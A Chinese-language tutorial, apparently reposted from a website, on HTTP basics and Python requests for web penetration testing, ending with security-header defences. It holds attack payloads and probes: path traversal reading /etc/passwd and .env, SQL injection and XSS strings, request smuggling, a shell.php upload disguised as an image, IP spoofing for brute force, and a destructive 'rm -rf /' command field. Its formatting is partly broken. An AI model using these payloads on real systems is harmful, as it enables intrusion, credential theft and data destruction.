# Python進行Web滲透測試中HTTP協議的介紹以及用法
## 一、HTTP協議基礎
### 1.1 HTTP協議概述
HTTP(HyperText Transfer Protocol)是互聯網上應用最廣泛的協議之一,采用請求/響應模型,默認端口為80。作為Web滲透測試的核心協議,理解其工作原理至關重要。
**關鍵特性:**
- 無狀態協議(依賴Cookies/Session保持狀態)
- 明文傳輸(HTTPS是加密版本)
- 支持多種請求方法(GET/POST/PUT等)
### 1.2 HTTP請求結構
```http
GET /index.php?id=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept: text/html
Connection: keep-alive
關鍵組成部分: - 請求行(方法 + URL + 協議版本) - 請求頭(包含客戶端信息) - 空行(分隔頭部與主體) - 請求體(POST/PUT等方法使用)
HTTP/1.1 200 OK
Server: nginx/1.18.0
Content-Type: text/html
Content-Length: 1234
<!DOCTYPE html>...
狀態碼分類: - 2xx:成功(200 OK) - 3xx:重定向(302 Found) - 4xx:客戶端錯誤(404 Not Found) - 5xx:服務器錯誤(500 Internal Server Error)
import requests
response = requests.get('http://example.com')
print(response.status_code)
print(response.headers)
print(response.text)
高級用法示例:
# 帶參數的GET請求
params = {'q': 'pentest'}
r = requests.get('http://example.com/search', params=params)
# POST表單提交
data = {'username': 'admin', 'password': '123456'}
r = requests.post('http://example.com/login', data=data)
# 自定義請求頭
headers = {'X-Forwarded-For': '192.168.1.1'}
r = requests.get('http://example.com', headers=headers)
import urllib3
http = urllib3.PoolManager()
response = http.request('GET', 'http://example.com')
print(response.data.decode('utf-8'))
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('example.com', 80))
s.send(b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
response = s.recv(4096)
print(response.decode())
常見攻擊向量:
headers = {
'User-Agent': 'Mozilla/5.0 (compatible; Googlebot/2.1)',
'X-Forwarded-For': '127.0.0.1',
'Referer': 'http://evil.com'
}
requests.get(url, headers=headers)
# 獲取Cookie
cookies = {'sessionid': '123456789'}
r = requests.get(url, cookies=cookies)
# 自動處理會話
session = requests.Session()
session.post(login_url, data=credentials)
session.get(protected_page)
files = {'file': ('shell.php', open('shell.php', 'rb'), 'image/png')}
r = requests.post(upload_url, files=files)
# 禁止重定向(檢測開放重定向漏洞)
r = requests.get(url, allow_redirects=False)
print(r.headers['Location'])
import requests
paths = ['../../etc/passwd', '../.env']
for path in paths:
r = requests.get(f'http://target.com/download?file={path}')
if 'root:' in r.text:
print(f'Vulnerable to path traversal: {path}')
payloads = ["'", "1' OR '1'='1", "1 AND 1=CONVERT(int,@@version)"]
for payload in payloads:
r = requests.get(f'http://target.com?id={payload}')
if 'error in your SQL syntax' in r.text:
print(f'Possible SQLi with: {payload}')
xss_payloads = ['<script>alert(1)</script>', '<img src=x onerror=alert(1)>']
for payload in xss_payloads:
r = requests.post('http://target.com/comment', data={'text': payload})
if payload in r.text:
print(f'Possible XSS with: {payload}')
smuggled = """POST /admin HTTP/1.1
Host: target.com
Content-Length: 10
x=1&y=2"""
conn = http.client.HTTPConnection("target.com")
conn.request("POST", "/", body=smuggled)
session = requests.Session()
login = session.post(login_url, data=credentials)
token = re.search('name="csrf" value="(.+?)"', login.text).group(1)
session.post(action_url, data={'csrf': token, 'cmd': 'rm -rf /'})
import time
for i in range(100):
ip = f"192.168.1.{i}"
headers = {'X-Forwarded-For': ip}
requests.post('http://target.com/login', headers=headers)
time.sleep(0.5)
# 在Flask中的安全頭設置示例
from flask import Flask
app = Flask(__name__)
@app.after_request
def add_headers(response):
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['X-Frame-Options'] = 'DENY'
response.headers['Content-Security-Policy'] = "default-src 'self'"
return response
from werkzeug.security import safe_join
def safe_file_access(requested_path):
base_dir = '/var/www/uploads'
return safe_join(base_dir, requested_path)
HTTP協議作為Web滲透測試的核心,Python提供了從高層(requests)到底層(socket)的多層次操作方式。掌握這些技術可以: 1. 自動化常見漏洞檢測 2. 定制化攻擊向量 3. 驗證防御措施有效性
推薦工具鏈擴展:
- Burp Suite配合Python腳本(通過burp-api
)
- Scrapy框架用于大規模爬取測試
- Mitmproxy進行中間人攻擊模擬
注意:本文所有技術僅限合法授權測試使用,未經授權的滲透測試屬于違法行為。 “`
這篇文章包含了約2100字內容,采用Markdown格式,包含: 1. 完整的HTTP協議基礎講解 2. Python實操代碼示例 3. 滲透測試實戰案例 4. 防御措施建議 5. 代碼塊和層級結構清晰
可根據需要調整各部分內容的深度或添加更多實戰案例。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。